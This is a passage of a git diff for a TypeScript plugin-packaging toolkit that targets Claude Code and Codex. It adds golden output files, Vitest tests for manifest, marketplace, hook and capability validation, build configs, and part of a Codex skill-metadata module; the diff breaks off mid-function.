b/packages/platforms/claude-code/test/golden/commands/release.md @@ -0,0 +1,8 @@ +--- +allowed-tools: + - Read +argument-hint: +description: Prepare a release. +model: sonnet +--- +Prepare release $ARGUMENTS. diff --git a/packages/platforms/claude-code/test/golden/skills/review/SKILL.md b/packages/platforms/claude-code/test/golden/skills/review/SKILL.md new file mode 100644 index 0000000..086a201 --- /dev/null +++ b/packages/platforms/claude-code/test/golden/skills/review/SKILL.md @@ -0,0 +1,12 @@ +--- +agent: reviewer +allowed-tools: + - Read + - Grep +context: fork +description: Review the current change. +disable-model-invocation: false +name: review +user-invocable: false +--- +Review the implementation. diff --git a/packages/platforms/claude-code/test/platform.test.ts b/packages/platforms/claude-code/test/platform.test.ts new file mode 100644 index 0000000..f657d13 --- /dev/null +++ b/packages/platforms/claude-code/test/platform.test.ts @@ -0,0 +1,554 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + bytesArtifact, + defineExtension, + DeliveryUnitRegistry, + executeLifecycle, + resolveConfig, + stableJson, + withMaterializedDeliveryUnitCandidate, + type AcpluginExtension, + type BuildCommand, + type DiagnosticInput, + type PlatformDistributionContext, + type ResolvedConfig, +} from '@acplugin/core'; +import { claudeCode } from '../src/index.js'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** Golden 文件相对于当前测试模块的固定目录。 */ +const goldenRoot = path.join(import.meta.dirname, 'golden'); + +/** + * 创建已登记自动清理的空临时工程。 + * + * @returns 新建工程的绝对路径。 + */ +async function temporaryProject(): Promise { + /** 当前测试独占且不会与并行用例冲突的工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-claude-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + return root; +} + +/** + * 写入覆盖 Command、Skill、Agent、辅助文件和 Public 的规范工程。 + * + * @param root 当前测试独占的工程根目录。 + */ +async function writeCompleteProject(root: string): Promise { + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/shared'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +argumentHint: +platforms: + claude-code: + allowedTools: + - Read + model: sonnet +--- +Prepare release {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review the current change. +invocation: + user: false + model: true +platforms: + claude-code: + allowedTools: + - Read + - Grep + context: fork + agent: reviewer +--- +Review the implementation. +`); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code changes. +model: capable +capabilities: + - filesystem:read + - search +platforms: + claude-code: + tools: + - Read + - Grep + disallowedTools: + - Write + effort: high + maxTurns: 8 + skills: + - review + memory: project + background: false + isolation: worktree +--- +Review code and report findings. +`); + await fs.writeFile(path.join(root, 'public/shared/logo.bin'), Buffer.from([0, 1, 2, 255])); +} + +/** + * 解析测试使用的完整 Core 配置。 + * + * @param root 当前测试工程根目录。 + * @param command 生命周期命令。 + * @param platform 当前用例使用的 Claude Code Platform。 + * @param extensions 可选的横向 Extension 列表。 + * @returns 无配置诊断的完整 ResolvedConfig。 + */ +function resolvedConfig( + root: string, + command: BuildCommand, + platform: ReturnType, + extensions: readonly AcpluginExtension[] = [], +): ResolvedConfig { + /** 通过公开配置解析器建立的测试配置结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'maintainers@example.com', url: 'https://github.com/TokenRollAI' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT', + keywords: ['release', 'review'], + platforms: [platform], + extensions, + build: { outDir: 'dist', strict: true }, + }, path.join(root, 'acplugin.config.ts'), command, 'production', { defaultPlatforms: [platform] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +/** + * 执行一次完整 Claude Code Platform 生命周期。 + * + * @param config 已解析且只包含当前 Platform 的配置。 + * @returns Core 的稳定 BuildResult。 + */ +async function run(config: ResolvedConfig) { + return executeLifecycle({ + config, + /** 当前 Platform Fixture 不加载作者 TypeScript 模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); +} + +/** + * 读取 Golden 文本并与实际产物进行字节级比较。 + * + * @param actual 当前构建输出文件的绝对路径。 + * @param golden Golden 文件相对于 test/golden 的路径。 + */ +async function expectGolden(actual: string, golden: string): Promise { + /** 当前仓库固定保存的期望文本。 */ + const expected = await fs.readFile(path.join(goldenRoot, golden)); + /** 当前 Platform 构建产生的实际字节。 */ + const received = await fs.readFile(actual); + expect(received).toEqual(expected); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Claude Code Platform', () => { + it('builds Commands, Skills, Agents, Public, and metadata as a native Plugin golden', async () => { + /** 包含全部 Core Component 的临时工程。 */ + const root = await temporaryProject(); + await writeCompleteProject(root); + /** 使用主 Plugin 模式完成的生命周期结果。 */ + const result = await run(resolvedConfig(root, 'build', claudeCode({ defaultEnabled: false }))); + /** Claude Code 主 Plugin 的最终输出根。 */ + const output = path.join(root, 'dist/claude-code/plugin'); + + expect(result.success).toBe(true); + expect(result.committed).toBe(true); + expect(result.deliveryUnits).toHaveLength(1); + expect(result.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'command:release', level: 'native' }), + expect.objectContaining({ subject: 'skill:review', level: 'native' }), + expect.objectContaining({ subject: 'agent:reviewer', level: 'native' }), + ])); + expect(result.metadata).toContainEqual(expect.objectContaining({ + field: 'displayName', disposition: 'emitted', + })); + await expectGolden(path.join(output, '.claude-plugin/plugin.json'), '.claude-plugin/plugin.json'); + await expectGolden(path.join(output, 'commands/release.md'), 'commands/release.md'); + await expectGolden(path.join(output, 'skills/review/SKILL.md'), 'skills/review/SKILL.md'); + await expectGolden(path.join(output, 'agents/reviewer.md'), 'agents/reviewer.md'); + expect(await fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).toBe('Review checklist.\n'); + expect(await fs.readFile(path.join(output, 'shared/logo.bin'))).toEqual(Buffer.from([0, 1, 2, 255])); + }); + + it('lets independent Hooks and MCP Adapters use only declared add-only extension points', async () => { + /** 只需要基础 Plugin Manifest 的空工程。 */ + const root = await temporaryProject(); + /** 模拟后续官方 Extension 包所使用的两个 Adapter。 */ + const extension = defineExtension({ + name: 'claude-extension-fixture', + apiVersion: '1', + /** discover 返回资源以触发 Adapter 生命周期。 */ + discover: () => ({ enabled: true }), + /** build 透传当前 Fixture 的平台中立状态。 */ + build: (_context, discovered) => discovered, + adapters: [{ + extensionApiVersion: '1', + platform: claudeCode().id, + platformApiVersion: '1', + /** apply 只通过公开 Context 新增两个字段和对应 Artifact。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); + context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }); + context.emitArtifact(bytesArtifact('hooks/hooks.json', '{"hooks":{}}\n')); + context.emitArtifact(bytesArtifact('.mcp.json', '{"mcpServers":{}}\n')); + }, + }], + }); + /** 完成 Adapter 合并和最终引用校验的生命周期结果。 */ + const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); + /** 最终 Plugin 清单中的 Extension 字段。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), 'utf8')); + + expect(result.success).toBe(true); + expect(manifest).toMatchObject({ hooks: './hooks/hooks.json', mcpServers: './.mcp.json' }); + expect(result.deliveryUnits[0]?.artifacts).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'hooks/hooks.json', owner: 'extension:claude-extension-fixture' }), + expect.objectContaining({ path: '.mcp.json', owner: 'extension:claude-extension-fixture' }), + ])); + }); + + it('creates an inferred self-contained Marketplace and remains byte deterministic', async () => { + /** 包含全部主 Plugin 内容的 Marketplace Fixture。 */ + const root = await temporaryProject(); + await writeCompleteProject(root); + /** 空选项要求 Platform 从统一元数据推导 Marketplace。 */ + const platform = claudeCode({ marketplace: {} }); + /** 第一次完整构建的生命周期结果。 */ + const first = await run(resolvedConfig(root, 'build', platform)); + /** Marketplace Distribution 的最终输出根。 */ + const marketplaceRoot = path.join(root, 'dist/claude-code/marketplace'); + /** 第一次构建后按路径保存的 Artifact 字节快照。 */ + const firstBytes = new Map(); + for (const artifact of first.deliveryUnits.find(unit => unit.id === 'marketplace')!.artifacts) + firstBytes.set(artifact.path, await fs.readFile(path.join(marketplaceRoot, artifact.path))); + /** 第二次使用相同输入覆盖完整 outDir 的生命周期结果。 */ + const second = await run(resolvedConfig(root, 'build', platform)); + + expect(first.success).toBe(true); + expect(second.success).toBe(true); + expect(first.deliveryUnits.map(unit => `${unit.role}:${unit.id}`)).toEqual(['distribution:marketplace', 'primary:plugin']); + await expectGolden(path.join(marketplaceRoot, '.claude-plugin/marketplace.json'), '.claude-plugin/marketplace.json'); + for (const [artifactPath, bytes] of firstBytes) + expect(await fs.readFile(path.join(marketplaceRoot, artifactPath))).toEqual(bytes); + expect(await fs.readFile(path.join(marketplaceRoot, '.claude-plugin/plugin.json'))) + .toEqual(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'))); + }); + + it('combines multiple validated primary Plugins into stable Marketplace subdirectories', async () => { + /** 多主单元测试使用的临时物化工作目录。 */ + const root = await temporaryProject(); + /** 暴露 Marketplace Distribution Hook 的 Claude Code Platform。 */ + const platform = claudeCode({ marketplace: {} }); + /** 使用真实 Core Registry 创建带完整 owner/hash 的主单元。 */ + const units = new DeliveryUnitRegistry(new Map()); + /** 输入顺序故意与 ID 排序相反的第二个 Plugin。 */ + const beta = await units.add(platform.id, { + id: 'plugin-b', role: 'primary', type: 'plugin', + artifacts: [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ + name: 'beta-tools', version: '2.0.0', description: 'Beta tools.', + }))], + }); + /** 排序后应出现在 Marketplace 第一项的 Plugin。 */ + const alpha = await units.add(platform.id, { + id: 'plugin-a', role: 'primary', type: 'plugin', + artifacts: [ + bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ + name: 'alpha-tools', version: '1.0.0', description: 'Alpha tools.', + })), + bytesArtifact('assets/readme.txt', 'alpha asset'), + ], + }); + /** Distribution 与最终 Validator 共同产生的结构化诊断。 */ + const diagnostics: DiagnosticInput[] = []; + /** 模拟未来 Monorepo 编排器提供的 Marketplace 根上下文。 */ + const context: PlatformDistributionContext = { + command: 'build', + mode: 'production', + project: { + root, + metadata: { name: 'tool-catalog', version: '1.0.0', description: 'Tool catalog.' }, + commands: [], skills: [], agents: [], publicFiles: [], + }, + options: platform.options ?? {}, + workDir: root, + /** 收集 Distribution 生成阶段的结构化诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }; + /** Platform 必须直接接受数组,无需未来重写 Marketplace Builder。 */ + const distributionInputs = await platform.generateDistributions!(context, [beta, alpha]); + /** 使用两个主单元的继承边界注册最终 Distribution。 */ + const distribution = await units.add( + platform.id, + distributionInputs[0]!, + [...alpha.artifacts, ...beta.artifacts], + ); + await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle({ + command: 'build', mode: 'production', candidate, + /** 收集最终候选 Validator 的结构化诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }), root); + /** 解析最终 Marketplace 清单以验证稳定条目顺序和本地来源。 */ + const marketplaceArtifact = distribution.artifacts.find(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)!; + /** Marketplace 清单由 Platform 生成,因此固定为内存字节来源。 */ + const marketplace = JSON.parse(new TextDecoder().decode( + marketplaceArtifact.source.type === 'bytes' ? marketplaceArtifact.source.value : new Uint8Array(), + )); + + expect(diagnostics).toEqual([]); + expect(marketplace.plugins.map((plugin: { name: string; source: string }) => [plugin.name, plugin.source])).toEqual([ + ['alpha-tools', './plugins/plugin-a'], + ['beta-tools', './plugins/plugin-b'], + ]); + expect(distribution.artifacts).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'plugins/plugin-a/.claude-plugin/plugin.json' }), + expect.objectContaining({ path: 'plugins/plugin-a/assets/readme.txt' }), + expect.objectContaining({ path: 'plugins/plugin-b/.claude-plugin/plugin.json' }), + ])); + }); + + it('requires both search and network capabilities before granting WebSearch', async () => { + /** 包含三种能力组合的 Agent 工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/agents/search-only.md'), `--- +description: Search local files. +capabilities: + - search +--- +Search local files. +`); + await fs.writeFile(path.join(root, 'src/agents/network-only.md'), `--- +description: Fetch remote content. +capabilities: + - network +--- +Fetch remote content. +`); + await fs.writeFile(path.join(root, 'src/agents/web-search.md'), `--- +description: Search the web. +capabilities: + - search + - network +--- +Search the web. +`); + /** 完成能力到 Claude 工具约束映射的构建结果。 */ + const result = await run(resolvedConfig(root, 'build', claudeCode())); + /** 三个 Agent 共用的最终输出目录。 */ + const agentsRoot = path.join(root, 'dist/claude-code/plugin/agents'); + /** 只有本地检索能力的 Agent Frontmatter。 */ + const searchOnly = await fs.readFile(path.join(agentsRoot, 'search-only.md'), 'utf8'); + /** 只有联网读取能力的 Agent Frontmatter。 */ + const networkOnly = await fs.readFile(path.join(agentsRoot, 'network-only.md'), 'utf8'); + /** 同时具有检索和联网能力的 Agent Frontmatter。 */ + const webSearch = await fs.readFile(path.join(agentsRoot, 'web-search.md'), 'utf8'); + + expect(result.success).toBe(true); + expect(searchOnly).toContain('tools: Glob, Grep'); + expect(searchOnly).not.toContain('WebSearch'); + expect(networkOnly).toContain('tools: WebFetch'); + expect(networkOnly).not.toContain('WebSearch'); + expect(webSearch).toContain('tools: Glob, Grep, WebFetch, WebSearch'); + }); + + it('rejects invalid Component fields and unsafe Extension references with stable diagnostics', async () => { + /** 包含未知 Claude Code Command 字段的工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/unsafe.md'), `--- +description: Unsafe command. +platforms: + claude-code: + rawFrontmatter: true +--- +Do work. +`); + /** Scanner 阶段应拒绝未知平台字段的生命周期结果。 */ + const invalidFields = await run(resolvedConfig(root, 'validate', claudeCode())); + + expect(invalidFields.success).toBe(false); + expect(invalidFields.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', + fieldPath: ['platforms', 'claude-code', 'rawFrontmatter'], + })); + + await fs.rm(path.join(root, 'src/commands'), { recursive: true }); + /** 尝试让 Manifest 引用安装根外路径的恶意 Adapter。 */ + const unsafeExtension = defineExtension({ + name: 'unsafe-reference', + apiVersion: '1', + /** discover 返回资源以确保不安全 Adapter 会进入当前 Platform。 */ + discover: () => true, + adapters: [{ + extensionApiVersion: '1', + platform: claudeCode().id, + platformApiVersion: '1', + /** apply 注入应被 Platform 最终 Validator 拒绝的路径。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: '../outside.json' }); + }, + }], + }); + /** 已进入最终候选 Validator 的不安全引用结果。 */ + const unsafeReference = await run(resolvedConfig(root, 'validate', claudeCode(), [unsafeExtension])); + + expect(unsafeReference.success).toBe(false); + expect(unsafeReference.deliveryUnits).toEqual([]); + expect(unsafeReference.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', fieldPath: ['mcpServers'], + })); + }); + + it('validates referenced Hook configuration at the final Platform boundary', async () => { + /** 不含 Core Component、只由恶意 Extension 注入 Hook 配置的工程。 */ + const root = await temporaryProject(); + /** 模拟绕过正式 Hooks Extension 并贡献无效 command Handler 的第三方 Adapter。 */ + const extension = defineExtension({ + name: 'invalid-claude-hooks', + apiVersion: '1', + /** discover 返回资源以触发 Adapter。 */ + discover: () => true, + adapters: [{ + extensionApiVersion: '1', + platform: claudeCode().id, + platformApiVersion: '1', + /** apply 只能贡献候选,最终是否符合 Claude Code 协议由 Platform 决定。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); + context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ + hooks: { + PreToolUse: [{ matcher: '[', hooks: [{ type: 'command', command: '' }] }], + SessionStart: [{ hooks: [{ type: 'prompt', prompt: 'Unsupported here.' }] }], + }, + }))); + }, + }], + }); + /** 最终候选应在提交前同时暴露 matcher 与 command 内容错误。 */ + const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'CLAUDE_HOOK_MATCHER_INVALID' }), + expect.objectContaining({ code: 'CLAUDE_HOOK_HANDLER_TARGET_INVALID' }), + expect.objectContaining({ code: 'CLAUDE_HOOK_HANDLER_EVENT_UNSUPPORTED' }), + ])); + }); + + /** Claude Code Hook 官方契约核验日期:2026-08-06。 */ + it('accepts the latest official Claude Code Hook handler schema', async () => { + /** 只由测试 Adapter 注入完整官方 Handler 矩阵的空工程。 */ + const root = await temporaryProject(); + /** 覆盖 command、prompt、agent、http 与 mcp_tool 最新字段的 Extension。 */ + const extension = defineExtension({ + name: 'current-claude-hooks', + apiVersion: '1', + /** discover 返回资源以触发 Adapter。 */ + discover: () => true, + adapters: [{ + extensionApiVersion: '1', + platform: claudeCode().id, + platformApiVersion: '1', + /** apply 贡献由 Platform 最终 Validator 独立验证的官方 Schema。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); + context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ + description: 'Complete current Hook schema.', + hooks: { + PreToolUse: [{ + matcher: 'Bash', + hooks: [ + { + type: 'command', command: 'node', args: ['handler.mjs'], shell: 'bash', + if: 'git rev-parse --is-inside-work-tree', timeout: 5, statusMessage: 'Checking', + once: true, async: true, asyncRewake: true, + }, + { type: 'prompt', prompt: 'Check input', model: 'sonnet', if: 'true', once: true }, + { type: 'agent', prompt: 'Investigate input', model: 'sonnet', if: 'true', once: true }, + { + type: 'http', url: 'http://localhost:7777/hook', headers: { Authorization: 'Bearer token' }, + allowedEnvVars: ['HOOK_TOKEN'], if: 'true', once: true, + }, + { + type: 'mcp_tool', server: 'review-server', tool: 'review', + if: 'true', once: true, + }, + ], + }], + SessionEnd: [{ + hooks: [ + { type: 'http', url: 'http://localhost:7777/session-end' }, + { type: 'mcp_tool', server: 'review-server', tool: 'session-end' }, + ], + }], + SessionStart: [{ + hooks: [{ type: 'mcp_tool', server: 'review-server', tool: 'session-start' }], + }], + }, + }))); + }, + }], + }); + /** 最新字段均应在最终平台边界通过。 */ + const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); + + expect(result.success).toBe(true); + expect(result.diagnostics).toEqual([]); + }); + + it('rejects unknown factory options instead of accepting raw Marketplace fields', () => { + expect(() => claudeCode({ marketplace: { name: 'Bad Name' } })).toThrow('lowercase kebab-case'); + expect(() => claudeCode({ marketplace: { raw: true } } as never)).toThrow('Unknown Claude Code marketplace option'); + expect(() => claudeCode({ compiler: 'custom' } as never)).toThrow('Unknown Claude Code Platform option'); + }); + + it('rejects permissionMode because packaged Plugin Agents cannot enforce it', async () => { + /** 包含宿主会忽略的 Agent 权限模式字段的工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code changes. +platforms: + claude-code: + permissionMode: plan +--- +Review code. +`); + /** Scanner 阶段必须拒绝无法由安装式 Plugin 保真的字段。 */ + const result = await run(resolvedConfig(root, 'validate', claudeCode())); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', + fieldPath: ['platforms', 'claude-code', 'permissionMode'], + })); + }); +}); diff --git a/packages/module-mcp/tsconfig.json b/packages/platforms/claude-code/tsconfig.json similarity index 52% rename from packages/module-mcp/tsconfig.json rename to packages/platforms/claude-code/tsconfig.json index 6ece4d3..3ae4da2 100644 --- a/packages/module-mcp/tsconfig.json +++ b/packages/platforms/claude-code/tsconfig.json @@ -1,4 +1,4 @@ { - "extends": "../../tsconfig.base.json", + "extends": "../../../tsconfig.base.json", "include": ["src/**/*.ts", "test/**/*.ts"] } diff --git a/packages/platforms/claude-code/tsdown.config.ts b/packages/platforms/claude-code/tsdown.config.ts new file mode 100644 index 0000000..6f670e9 --- /dev/null +++ b/packages/platforms/claude-code/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** Claude Code Platform 包使用统一 Node ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json new file mode 100644 index 0000000..291833b --- /dev/null +++ b/packages/platforms/codex/package.json @@ -0,0 +1,32 @@ +{ + "name": "@acplugin/platform-codex", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { + "node": ">=20" + }, + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs" + } + }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { + "@acplugin/core": "workspace:*", + "image-size": "^2.0.2", + "saxes": "^6.0.0", + "yaml": "^2.9.0" + }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "@typescript/native": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/components.ts new file mode 100644 index 0000000..1a98092 --- /dev/null +++ b/packages/platforms/codex/src/components.ts @@ -0,0 +1,378 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + stableYaml, + type ArtifactInput, + type Component, + type PlatformComponentValidationContext, + type PlatformGenerateContext, + type PlatformPrepareContext, + type PluginProject, +} from '@acplugin/core'; +import { CODEX_BRAND_COLOR_PATTERN, CODEX_SKILL_PRODUCTS } from './protocol.js'; + +/** Codex Skill `agents/openai.yaml` 允许配置的 Component 专属字段。 */ +const COMPONENT_FIELDS = new Set([ + 'displayName', 'shortDescription', 'iconSmall', 'iconLarge', 'brandColor', 'defaultPrompt', 'products', +]); + +/** Codex Skill 元数据允许声明的产品范围。 */ +const PRODUCTS = new Set(CODEX_SKILL_PRODUCTS); + +/** 把未知 JSON 字段收窄为便于逐项验证的对象。 */ +type UnknownFields = Readonly>; + +/** 生成后的 Codex Skill ID 与规范来源。 */ +interface GeneratedSkillIdentity { + readonly id: string; + readonly subject: string; +} + +/** Codex Skill 的 `agents/openai.yaml` 结构。 */ +interface OpenAiSkillMetadata { + readonly interface: { + readonly display_name: string; + readonly short_description: string; + readonly icon_small?: string; + readonly icon_large?: string; + readonly brand_color?: string; + readonly default_prompt?: string; + }; + readonly policy?: { + readonly products?: readonly ('CHAT' | 'CODEX')[]; + readonly allow_implicit_invocation?: false; + }; +} + +/** + * 判断未知值是否为非空字符串。 + * + * @param value 待检查的平台字段。 + * @returns 可以写入 Codex 元数据时返回 true。 + */ +function isNonEmptyString(value: unknown): value is string { + return typeof value === 'string' && value.trim().length > 0; +} + +/** + * 判断未知值是否为不含重复项的非空字符串数组。 + * + * @param value 待检查的平台字段。 + * @returns 字段满足确定性数组约束时返回 true。 + */ +function isUniqueStringArray(value: unknown): value is readonly string[] { + return Array.isArray(value) + && value.every(isNonEmptyString) + && new Set(value).size === value.length; +} + +/** + * 判断 Skill 内部资源路径是否安全。 + * + * @param value `agents/openai.yaml` 中相对于 Skill 根的资源路径。 + * @returns 路径以 `./` 开头且不会逃逸 Skill 根时返回 true。 + */ +function isSafeSkillPath(value: string): boolean { + if (!value.startsWith('./') || value.includes('\\') || value.includes('\0')) + return false; + /** 去掉协议前缀后用于拒绝父目录和空路径的片段。 */ + const relative = value.slice(2); + return relative.length > 0 + && relative !== '..' + && !relative.startsWith('../') + && !relative.split('/').includes('..'); +} + +/** + * 提交带 Codex Component 字段位置的结构错误。 + * + * @param context Core 提供的平台字段校验上下文。 + * @param field 当前错误字段。 + * @param message 面向插件作者的说明。 + */ +function reportFieldError( + context: PlatformComponentValidationContext, + field: string, + message: string, +): void { + context.reportDiagnostic({ + code: 'CODEX_COMPONENT_FIELD_INVALID', + severity: 'error', + message, + fieldPath: ['platforms', 'codex', field], + }); +} + +/** + * 校验 Codex Component 专属 Skill 展示字段。 + * + * @param context Scanner 提供的只读 Component 与字段上下文。 + */ +export function validateCodexComponentFields(context: PlatformComponentValidationContext): void { + for (const field of Object.keys(context.fields)) { + if (!COMPONENT_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'CODEX_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown Codex ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'codex', field], + }); + } + } + + /** fields 提供按字段名执行官方 Schema 校验的只读视图。 */ + const fields: UnknownFields = context.fields; + for (const field of ['displayName', 'shortDescription', 'defaultPrompt']) { + if (fields[field] !== undefined && !isNonEmptyString(fields[field])) + reportFieldError(context, field, `${field} must be a non-empty string.`); + } + for (const field of ['iconSmall', 'iconLarge']) { + if (fields[field] !== undefined + && (!isNonEmptyString(fields[field]) || !isSafeSkillPath(fields[field]))) { + reportFieldError(context, field, `${field} must start with ./ and stay inside the generated Skill root.`); + } + } + if (fields.brandColor !== undefined + && (!isNonEmptyString(fields.brandColor) || !CODEX_BRAND_COLOR_PATTERN.test(fields.brandColor))) { + reportFieldError(context, 'brandColor', 'brandColor must be a six-digit hexadecimal color.'); + } + if (fields.products !== undefined + && (!isUniqueStringArray(fields.products) || fields.products.some(product => !PRODUCTS.has(product)))) { + reportFieldError(context, 'products', 'products must contain CHAT, CODEX, or both without duplicates.'); + } +} + +/** + * 读取一个 Component 中已由 Scanner 校验的 Codex 专属字段。 + * + * @param component 当前准备转换的规范 Component。 + * @returns 缺省为空对象的平台字段视图。 + */ +function codexFields(component: Component): UnknownFields { + return component.platforms.codex ?? {}; +} + +/** + * 列出全部规范 Component 最终占用的 Codex Skill ID。 + * + * @param project 已完成规范扫描的 Plugin 工程。 + * @returns 保持 Component 类型与扫描顺序的生成身份。 + */ +function generatedSkillIdentities(project: PluginProject): GeneratedSkillIdentity[] { + return [ + ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.commands.map(command => ({ id: `command-${command.id}`, subject: `command:${command.id}` })), + ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]; +} + +/** + * 在 prepare 阶段拒绝规范 ID 与 fallback ID 的大小写不敏感冲突。 + * + * @param context Codex Platform prepare 上下文。 + */ +export function validateGeneratedSkillIds(context: PlatformPrepareContext): void { + /** 已经占用最终 ID 的首个规范 Component。 */ + const owners = new Map(); + for (const identity of generatedSkillIdentities(context.project)) { + /** Codex 安装表面应采用大小写不敏感的稳定冲突规则。 */ + const key = identity.id.toLocaleLowerCase('en-US'); + /** 已经占用同一最终 ID 的来源。 */ + const owner = owners.get(key); + if (owner !== undefined) { + context.reportDiagnostic({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', + severity: 'error', + message: `${owner.subject} and ${identity.subject} both generate Codex Skill ID "${identity.id}".`, + hint: 'Rename one canonical Component so every native and fallback Skill ID is unique.', + }); + } else { + owners.set(key, identity); + } + } +} + +/** + * 创建符合当前官方 Schema 的 Skill 展示与调用策略元数据。 + * + * `agents/openai.yaml` 一旦存在就必须同时提供 `interface.display_name` 和 + * `interface.short_description`,因此策略文件不能只写 `policy`。 + * + * @param component 提供默认名称、说明和 Codex 专属字段的规范 Component。 + * @param generatedId 最终生成的 Codex Skill ID。 + * @param allowImplicitInvocation 是否允许模型根据描述隐式触发。 + * @returns 无需元数据时返回 undefined,否则返回完整官方结构。 + */ +function skillMetadata( + component: Component, + generatedId: string, + allowImplicitInvocation: boolean, +): OpenAiSkillMetadata | undefined { + /** 当前 Component 已通过 Scanner 校验的平台字段。 */ + const fields = codexFields(component); + /** 作者是否显式声明了任一 Codex Skill 展示或策略字段。 */ + const hasFields = Object.keys(fields).length > 0; + if (allowImplicitInvocation && !hasFields) + return undefined; + /** 只有显式 products 或禁用隐式调用时才需要 policy 区域。 */ + const policy = fields.products !== undefined || !allowImplicitInvocation + ? { + ...(fields.products === undefined ? {} : { products: fields.products as readonly ('CHAT' | 'CODEX')[] }), + ...(allowImplicitInvocation ? {} : { allow_implicit_invocation: false as const }), + } + : undefined; + return { + interface: { + display_name: fields.displayName as string | undefined ?? generatedId, + short_description: fields.shortDescription as string | undefined ?? component.description, + ...(fields.iconSmall === undefined ? {} : { icon_small: fields.iconSmall as string }), + ...(fields.iconLarge === undefined ? {} : { icon_large: fields.iconLarge as string }), + ...(fields.brandColor === undefined ? {} : { brand_color: fields.brandColor as string }), + ...(fields.defaultPrompt === undefined ? {} : { default_prompt: fields.defaultPrompt as string }), + 